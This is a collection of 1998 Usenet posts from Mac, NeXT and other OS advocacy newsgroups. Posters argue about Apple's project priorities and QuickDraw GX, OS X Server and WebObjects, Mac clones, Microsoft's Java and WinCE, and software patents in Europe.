References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com> <adtF2JDJC.9zt@netcom.com> <3651AFA2.7092FB5C@spamtoNull.com> <adtF2Lqz5.31q@netcom.com> <3659DBA3.E8429C62@spamtoNull.com>
Date: Wed, 25 Nov 1998 03:21:28 GMT
Sender: adt@netcom8.netcom.com
Jonathan Harker (Limeyville@spamtoNull.com) wrote:
: "Anthony D. Tribelli" wrote:
: > Actually I got your point, but your point didn't invalidate the fact that
: > Microsoft only needs to follow the customers while Intel needs to lead the
: > customers to Intel solutions.
:
: I'm not sure if you realize the extent to which Microsoft and Intel
: share markets and the extent to which they cooperate because of it.
I agree they have a very close relationship today, but that is due to
consumers choosing Intel systems not Microsoft being dependent on Intel
itself. If by some miracle everyone started purchasing Alpha systems
tomorrow who would be hurt more, Microsoft or Intel? Who could more
quickly adjust?
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F2yK0q.9nE@bilver.magicnet.netREMOVETHIS>
References: <7329lg$ot0$1@nnrp02.primenet.com> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de> <73fnfr$ll3$5@blue.hex.net>
Date: Wed, 25 Nov 1998 03:22:02 GMT
In article <73fnfr$ll3$5@blue.hex.net>, Christopher Browne
<cbbrowne@hex.net> wrote:
>On Tue, 24 Nov 1998 19:46:33 +0100, Matthias Bethke
><unrzi8@cssun.rrze.uni-erlangen.de> wrote:
>
>>On 22 Nov 1998, Bjørnar Bolsøy wrote:
>>
>>> > > Actually, MS has managed to develop a few decent products
>>> > > from time to time. WinCE is a good example IMO, with a
>>> > > full win32 complient API with a host of elegant features
>>> > > basically fitting inside a 200Kb footprint.
>>
>>M-BASIC is said to have been quite good for its time, too. Fit
>>into an 8K EPROM, although that was kinda big at the time as well.
>>And strictly speaking it's Gates but not M$.
>
>Hum?
>
>Microsoft Level I BASIC fit into 4K of ROM. Microsoft Level II
>BASIC fit into 8K of ROM. Microsoft Level II Plus BASIC fit
>into 12K of ROM. (This is what TRS-80 Model I Level II's used.)
>Microsoft Level III BASIC tended to go into 16K of either RAM or
>ROM.
Hm. My Level III Basic was a software disk upgrade from MS.
I did some beta testing on it about 19-20 years ago.
>And these were all products of Microsoft. (With the early versions
>of Level I BASIC being, perhaps, products of Micro Soft.)
The level I did not come from MS.
I never bothered to dis-assemble it but it looked just like
Chien's Tiny Basic - aka Palo Alto Tiny BASIC. Source is
in "Dr.Dobbs Journal of Computer Calisthenic & Orthodontia (Running
Light Without Overbyte)" - May 1976 issue.
Source show 10 June 1976.
WOW! The next two lines looke like this:
@COPYLEFT
ALL WRONGS RESERVED
Does that not predate Stallman's 'copyleft' procedure.?
--
Bill Vermillion bv @ wjv.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2yKv7.Ayu@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com> <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net> <adtF2Lsnp.5nD@netcom.com> <cirby-1811981312410001@pm61-42.magicnet.net> <3659DC78.F697F947@spamtoNull.com> <cirby-2311981749170001@pm56-03.magicnet.net>
Date: Wed, 25 Nov 1998 03:40:19 GMT
Sender: adt@netcom8.netcom.com
Chad Irby (cirby@magicnet.net) wrote:
: Apple, by doing most of the mac development at the time, was indirectly
: funding the Mac clone companies, and when those companies returned the
: favor by *not* doing as they promised, Apple closed the door.
And cloners paid for this development through their MacOS licenses, Apple
received money every time a clone was sold. This has been hashed and
rehashed a few times. I doubt we'll come up with anything that is not
already in deja news. :-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 25 Nov 1998 04:45:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73g21e$bd0@news1.panix.com>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34>
On 23 Nov 98 23:32:16 -0700, Lawson English <english@primenet.com> wrote:
>Sal Denaro <sal@panix.com> said:
>>Apple wasted the early 90s building great but often pointless technology.
>>Tell me what should they kill to make room for GX?
>Nothing.
You are dodging the question. (I don't blame you. It always sucks when you
have to fire someone, or kill some project someone has put their heart and
soul into)
Apple has finite resources. In order to develop this GX lib you want, they
have to pull resources from some other project. Let's assume that Apple
gives you free reign to decide what the priorities should be, and hands
you a list with the following active projects:
1) GX
2) AppleScript
3) QuickTimeML
4) OpenTransport
5) Carbon
6) HyperCard
7) WebObjects
8) Improved Java support
9) OpenGL
10) YellowBox
You have enough programmers and support staff (marketing/sales/testing/etc) to
make three items high priorities and five low priorities.
Two of those projects will either have to be "shelved" or "killed". And don't
wimp out and say "I would try and save them all..." Pick two non-critical (in
your plan) items and give your reasons for killing them.
It isn't easy is it?
>Apple 68K customers should pay for an enhanced GX. If they're not
>willing to, than they get no new applications.
And how exactly would this work? Apple customers should call up Apple (Jerry
Lewis telethon style, perhaps? :) and offer money to Apple in advance? Should
Apple turn GX into a shareware product?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 25 Nov 1998 04:45:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73g21h$bd0@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com> <739mk5$g85@news1.panix.com> <73c33f$r7i$1@nnrp1.dejanews.com> <73djga$isl@news1.panix.com> <73eg2d$n7r$1@nnrp1.dejanews.com>
On Tue, 24 Nov 1998 14:32:44 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>> As it stands now, I doubt that I would deploy WO on anything other than NT
>> or Solaris. I am not going to take any risks with OSX until I see what Apple
>> is planning.
>Exactly. Apple's current positioning of OSX Server (or lack thereof) is
>scaring away the very people they would like to attract. Not just would-be
>users like me, but potential corporate Web Objects customers. If this
>constitutes sound strategy, I'd hate to see what a unsound one looks like.
A high price isn't going to scare away corporate Web Objects customers. They
are buying it now at $5k and $10k and up a pop with no second thoughts. I've
worked on projects where the hw/sw expenses per developer were over $12k
I am not going to recommend OSX for my clients until Apple outlines some kind
of plan for its future. When will Oracle8 run on it? When will Apple start
a VAR program? What hardware will Apple support?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 25 Nov 1998 04:45:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73g21m$bd0@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <365ACC72.7A9F4C3@tone.ca>
On Tue, 24 Nov 1998 10:10:43 -0500, Michael <michael@tone.ca> wrote:
>I agree that WO is probably the only yb app on Apples radar, however I
>expect them to price things so that people will want to buy Apple
>hardware to run it on rather than Intel hardware, so this means pricing
>OSX quite a bit below NT.
Maybe. As it stands now, I am not impressed with Apple's server offerings.
Three slots isn't all that much for a server. And I like my servers to be
beige and stackable.
>I can't believe Apple is worried about Quark and Adobe. I'm sure Q and A
>don't see the yb apps as any threat (though I think they are).
I would be shocked if Adobe and Quark didn't have copies of some YB Apps
sitting around. And I'll eat a floppy if they didn't create some document
the details the pluses and minuses of TIFFany, PasteUP and Create! when
compared to PhotoShop, K2 and Illustrator. Adobe lost a market to a no
name "little guy" once before, and I would bet money that they have no
intention of letting it happen again.
> I think
>Apple is more concerned about giving their mainstream users something
>called MacOS thats a lot less friendly, or at least a lot different,
>than the one they're used to.
Yup.
I don't see how anyone is shocked by this. Apple has been saying that
they expect the first release of OSX to be used for servers and
developers at first. While it is true that they didn't say "servers and
developers only, on pain of death" you can't say that they were in
anyway unclear on their intentions on OSX Server. Heck, they even made
"server" part of the name.
>We should know a little bit more when they start the new series of WO
>seminars Dec 1. Will they be running on Apple hardware? Stay tuned.
I'll be at the NYC seminar.
From: Scott Andrews <sandrews@iwaynet.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Tue, 24 Nov 1998 23:45:21 +0000
Message-ID: <365B4511.1D403950@iwaynet.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <3654E24C.4D6C065A@unlimitnet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
CRonTaB wrote:
> They have probably added over 2000 new easter eggs for everyones
> enjoyment into the source.
Ok now I understand why MS software stinks.......... Its all those damn
Easter eggs after they have become rotten!
Date: Tue, 24 Nov 1998 21:17:43 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Message-ID: <stevehix-2411982117430001@192.168.1.10>
References: <737edr$2h2$1@your.mother.com>
Organization: Close to None
In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
> As most people know, a judge recently ordered Microsoft to change its Java
> imlementation in IE to meet Sun's compatibility tests [1]. We also know
> Apple has made IE its default browser.
>
> Now Microsoft is announcing that it is removing Java from IE for the
> Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> Mac users from running Java applications or Java applets?
Not so's you'd notice. You just have to select some other Java VM
for the browser to use.
Well, the upcoming version of the Apple JVM (in beta) is already
faster and less buggy than MS's current offering. You might have
to deal with better performance and less crashing.
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 24 Nov 1998 21:03:02 -0800
Organization: Net Squared, Inc.
Message-ID: <73g41e$3bf$1@your.mother.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com>
>Carbon won't ship for a while.
About a year, if Apple's current predictions are correct. Of course,
the first release of Rhapsody was supposed to ship in about a year after
Apple bought NeXT.
http://gemma.apple.com/macosx/
>The moment that Apple announced Carbon, YB developers got the
> shaft. Apple users were given a big reason to postpone moving to OSX.
I disagree. I believe Carbon may have helped YB developers by making
MacOS X mainstream, helping Apple as a company, and giving YB developers
a greater customer base to sell into.
I believe YB developers got the shaft when (1) Apple continually delayed
shipping Rhapsody (now MacOS X Server), and (2) did not make any
commercial OpenStep system commercially available (especially
inexpensively).
The rate of new OpenStep customers was anemic before Apple purchased
NeXT; after the purchase the numbers essentially dropped to zero - by
Apple's choice. That hurts when you are developing software for that
market.
Todd
PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
available for Intel, but Apple also had nice OpenStep/NEXTSTEP
applications and a killer development environment. However, over the
last two years, Linux has gained all the market share and mindshare and
Apple's Intel solution isn't on anyone's radar.
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Date: 25 Nov 1998 05:34:31 GMT
Organization: San Diego State University
Message-ID: <73g4t7$5je$1@hole.sdsu.edu>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com>
Sal Denaro (sal@panix.com) wrote:
: 1) GX
: 2) AppleScript
: 3) QuickTimeML
: 4) OpenTransport
: 5) Carbon
: 6) HyperCard
: 7) WebObjects
: 8) Improved Java support
: 9) OpenGL
: 10) YellowBox
: Two of those projects will either have to be "shelved" or "killed". And don't
: wimp out and say "I would try and save them all..." Pick two non-critical (in
: your plan) items and give your reasons for killing them.
: It isn't easy is it?
Too easy. Since QuickDraw is an integral component of every bit of
visible behavior of the Macintosh operating system, since the user must
deal (indirectly) with QuickDraw every day, I would give it a far
higher priority than such jazzy but, to be perfectly honest, far
less useful things as WebObjects and Java support. Those two I would
kill without a qualm. Improve the base OS first before supporting all
sorts of glittering new crap on top of it.
Maybe one of the reasons GX died its undeserved death was the very
way in which Apple simply dumped onto the growing burden of system
extensions heaped atop System 7, instead of instituting it as a
complete replacement for old QuickDraw.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
------------------------------------------------
Take that, Washington! Eat lead, Einstein! Show's over, Shakespeare!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 25 Nov 98 00:19:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B280FD8E-71844@206.165.43.139>
References: <73g21e$bd0@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Sal Denaro <sal@panix.com> said:
Lawson English <english@primenet.com> said:
>>Apple 68K customers should pay for an enhanced GX. If they're not
>>willing to, than they get no new applications.
>
>And how exactly would this work? Apple customers should call up Apple
>(Jerry
>Lewis telethon style, perhaps? :) and offer money to Apple in advance?
>Should
>Apple turn GX into a shareware product?
>
As I said before, the reason why no-one is using GX is because no-one knows
what it can do. If customers realize what they are losing (and 68K
customers will definitely be losing because they can't run Carbon/YB apps
-they're the Apple II's of the 90's), they should be willing to pay for one
last upgrade from Apple that will enhance their hardware investment.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 25 Nov 98 00:25:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B280FF05-7703A@206.165.43.139>
References: <73g4t7$5je$1@hole.sdsu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
tomlinson <etomlins@rohan.sdsu.edu> said:
>Maybe one of the reasons GX died its undeserved death was the very
>way in which Apple simply dumped onto the growing burden of system
>extensions heaped atop System 7, instead of instituting it as a
>complete replacement for old QuickDraw.
Memory was also very expensive when GX was first introduced. It now costs
more to pay someone to install the memory to handle GX than the RAM itself
costs. The printer driver issue and crashing hardware issue was also a
problem. Due to these problems, no-one made the software for GX. Since
no-one made mainstream software that used GX, mainstream Mac users never
bothered to install it. Etc.
The ONLY reason left why users might not install GX is because there is no
software. The only reason why there is no software is because everyone knew
that Display Postscrit was the wave of the future.
Now that GX is going to be left out of the next OS release, there's no
developer (other than me) willing to work on a graphics product that won't
work with the next-gen OS.
It's all due to the mishandling of things by current and former management
that GX has never and probably will never be used.
I can't persuade Apple management to change their minds, but the rest of
the Mac users can, hence GXFCN. Most end-users and most developers haven't
a clue what GX can do when it is hooked to an end-user scripting IDE.
It is quite remarkable.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 21:54:23 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981653440001@pm61-15.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com> <72tfvs$h34@news1.panix.com> <3659D77F.2D5FA2E2@spamtoNull.com> <cirby-2311981753020001@pm56-03.magicnet.net> <365B0801.33E84F20@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Let's try it slow...He was being asked to testify as an *individual* as
> to his *opinion* as to what *he personally thought* about certain things
> he saw at Compaq.
...and, in addition, to things he saw and heard that weren't opinion at
all, which is the important part that you seem to forget.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin> <01be150e$a7080a40$a1f1ccc3@default> <911635989.591202@watserv4.uwaterloo.ca>
Message-ID: <01be1842$b60f0b60$92f1ccc3@default>
Date: 24 Nov 98 22:12:45 GMT
Darwin Ouyang <douyang@novice.uwaterloo.ca> wrote:
> Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
>
> WinCE is cool. WinCE is a good subset of the Win32 API (not full),
How true, fingers well ahead of my brain there. :)
According to Microsoft WinCE supports about 500
of the 1500, or so, current Win32 APIs.
> but *is* tremendously simplified and optimized for extremely
> low-memory/low-power environments.
>
> (Execute-from-ROM certainly helps reduce the memory overhead
> of WinCE a great deal.)
Indeed, basic requirements are 28kb for CE2.0.
Though the footprint of CE1.0 is smaller I've taken
the liberty of including some numbers for 2.0,
from MSDN base:
- - - -
minInput (the minimal input system)
ROM RAM Stack (all in KB)
Nk.exe 119 5 4
Filesys.exe 57 6 1
Gwes.exe 60 9 3
Coredll.dll 94
This configuration also includes:
Toolhelp.dll 2
Keybddr.dll 8
Touch.dll 12
Sum 352 20 8
- - - -
minGDI (including minInput)
ROM RAM Stack
Nk.exe 119 7 4
Filesys.exe 122 7 1
Gwes.exe 282 697 4
Coredll.dll 103
In addition:
Ddi.dll 29
Wavedev.dll 15
Sum 670+20 711 9
- - - -
I have some figures on network (minicomm) and full
API/GUI (HPC2Apps) configuration somewhere too,
but a search on MSDN should yield these exact
documents.
Regards...
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Message-ID: <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com>
Organization: Obsidian
Date: Wed, 25 Nov 1998 00:17:04 -0800
NNTP-Posting-Date: Wed, 25 Nov 1998 00:17:19 PDT
In article <73g21e$bd0@news1.panix.com>, sal@panix.com wrote:
>Apple has finite resources. In order to develop this GX lib you want, they
>have to pull resources from some other project. Let's assume that Apple
>gives you free reign to decide what the priorities should be, and hands
>you a list with the following active projects:
While I've stayed out of this conversation because the
technical details are a tad over my head, I'd like to play too.
>1) GX
>2) AppleScript
>3) QuickTimeML
>4) OpenTransport
>5) Carbon
>6) HyperCard
>7) WebObjects
>8) Improved Java support
>9) OpenGL
>10) YellowBox
>
>You have enough programmers and support staff (marketing/sales/testing/etc) to
>make three items high priorities and five low priorities.
>
>Two of those projects will either have to be "shelved" or "killed".
High Priorities:
YellowBox
Carbon
Java
Low Priorities
QuickTime
AppleScript
WebObjects
OpenGL
QuickDraw GX (more than just traditional GX though, see below).
Shelf OpenTransport (it's good enough for now; if some huge networking
advancement comes up, up it's priority for a moment to add the
advancement, and shelf it again). And open-source HyperCard. Viola, saved
them all. Although this is all sorta unfair. I would include QT and OSA as
a part of YB, because YB would be Apple's general-purpose cross-platform
API for just about everything. This would reduce redundancy in the teams,
because you would only have to market, sell and test a single product, so
only the developers would remain as large a group as before. This leaves
room to actively work GL into the MacOS, develop OT as a cross-platform
networking layer, HyperCard as a cross-platform small app development
package (akin to Visual BASIC, but better), WebObjects as a cross-platform
network app development package, and QuickDraw GX (or QuickDraw Pro, or
Extended QuickDraw, or whatever you will). This hypothetical graphics
layer would combine all the advantages of everything, GX and PS and PDF
and X11 and you name it. I'll let you people bicker over what, exactly,
that would be, though I would like to see someone's proposal for what the
ideal graphics layer would be.
While I'm ranting here, HC, WO, PB and IB should all be integrated into a
single cross-platform dev package. Call it the Apple Developers
Environment. OpenStep, QuickTime, OSA, and all the other Nifty APIs
integrated into the Apple Foundation Classes (YB). Super-GX/PS/X/etc into
the Apple Graphics Layer. OT streams, MacTCP sockets, and what have you
other Nifty networking do-dads into the Apple Network Layer. Then either
do one of the following licencing schemes on all of it. (1) Keep the very
innards proprietary, the parts that do what they do, but open-source the
parts which tie the product to a particular platform. Allows for efforless
porting; a simple request to Apple to compile a version of the innards for
processor x, and let the others do the work of making it work on that.
Apple only gives support for the main platforms (Mac, Win, and a few big
Unices). Or (2), use my own personal licencing idea. I can explain it best
in an example. MyCorp sells a copy MyThing to TheirCo. TheirCo can resell
it, but for every copy they sell they have to pay MyCorp the same price
MyCorp charges. Every copy of MyThing includes the source code with it,
and anybody can fiddle with the source to their heart's content. But if
TheirCo sell a modified copy of MyThing, lets call it TheirThing, which
uses 80% of the original MyThing code, then TheirCo has to pay MyCorp 80%
of MyCorp's price on MyThing. So this would ensure that the inventor of
something gets due compensation, because why would someone buy TheirCo's
more expensive (assuming TheirCo wants to make a profit) version of
MyThing when they can get an identical MyCorp MyThing for less? And it
would encourage building off of other people work, and standardisation,
instead of everybody rolling their own incompatible products which do
exactly the same thing.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Macdev@earthlink.net (Macdev)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Wed, 25 Nov 1998 01:12:54 -0800
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>
Organization: EarthLink Network, Inc.
Message-ID: <Macdev-2511980112550001@sdn-ar-001casbarp258.dialsprint.net>
In article <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>,
SPAMLESSforrest@west.net (Forrest Cameranesi) wrote:
> High Priorities:
>
> YellowBox
> Carbon
> Java
>
> Low Priorities
>
> QuickTime
> AppleScript
> WebObjects
> OpenGL
> QuickDraw GX (more than just traditional GX though, see below).
How do you justify WebObjects being a low priority?
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Wed, 25 Nov 1998 09:42:02 +0000
Organization: UDL (Reading)
Message-ID: <mdqkWKAqD9W2EAU9@wolff.co.uk>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<364A072C.9341779B@mohawksoft.com>
<Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com>
<36553271.5E95E159@online.no.spam> <36558a3d.714158248@news.tele.dk>
<xzqyap41mk2.fsf@uni-paderborn.de> <365ADFA6.46E0B739@cadence.com>
MIME-Version: 1.0
In article <365ADFA6.46E0B739@cadence.com>, Simon Kinahan
<simonk@cadence.com> writes
>
>Noone I've met seems to know what the original intention of the treaty was,
>and whether it could make such things as the technical process of
>translating a file into a screen display, or of decompressing a file
>patentable.
[This is about the European Patent Convention apparently disallowing
patents for computer programs]
As I heard it told at a European software patenting conference earlier
this year, the provision was written into the EPC because it was in the
recent (at that time) new French patent law, into which it had been
written because it was (at that time - 1968) believed to be American
patent law...
But US law was based on interpretation, so it could be, and was, later
re-interpreted differently, as technology developed. But the European
approach of writing the law down explicitly meant, as we now see, that
it was not so easy to change. So our re-interpretation has to be done
more stealthily.
--
Obiter scripta - Paul Wolff
From: Anonymous <nobody@replay.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 25 Nov 1998 11:00:15 +0100
Organization: mail2news@replay.com
Message-ID: <199811251000.LAA32318@replay.com>
Comments: This message did not originate from the Sender address above.
It was remailed automatically by anonymizing remailer software.
Please report problems or inappropriate use to the
remailer administrator at <abuse@replay.com>.
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
>PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
>available for Intel, but Apple also had nice OpenStep/NEXTSTEP
>applications and a killer development environment. However, over the
>last two years, Linux has gained all the market share and mindshare and
>Apple's Intel solution isn't on anyone's radar.
Apple may have been forced by Microsoft (with the threat of dropping
Office for the Mac, the ultimate disaster hanging over Apple's head).
But I agree with the picture of developments re the free unixes. And
Apple's near total silence doesn't help. Tey seem to be focusing on
'mass market users' (iMac etc.) and that could spell the end of
high-end niche operating. Jobs has always wanted to be the big mass
marketplayer like gates is. I suspect Jobs may be the biggest opponent
of MacOS X Server.
Who believes MacOS X (Server) is still for real? Any real threat to
Windows NT will turn Microsoft into something extremely nasty for
Apple. The only hope is that the judge in the DOJ vs. MS case forces MS
to support Office for other OS's (Mac and free unixes for instance) so
that it doesn't work as a tool to keep the MS OS monopoly alive.
Having said that, Apple gets our support _and our mony_ as soon as
they release the new fast hardware _with_ a full BSD OS X Server. I'll
put our money where my mouth is.
--X
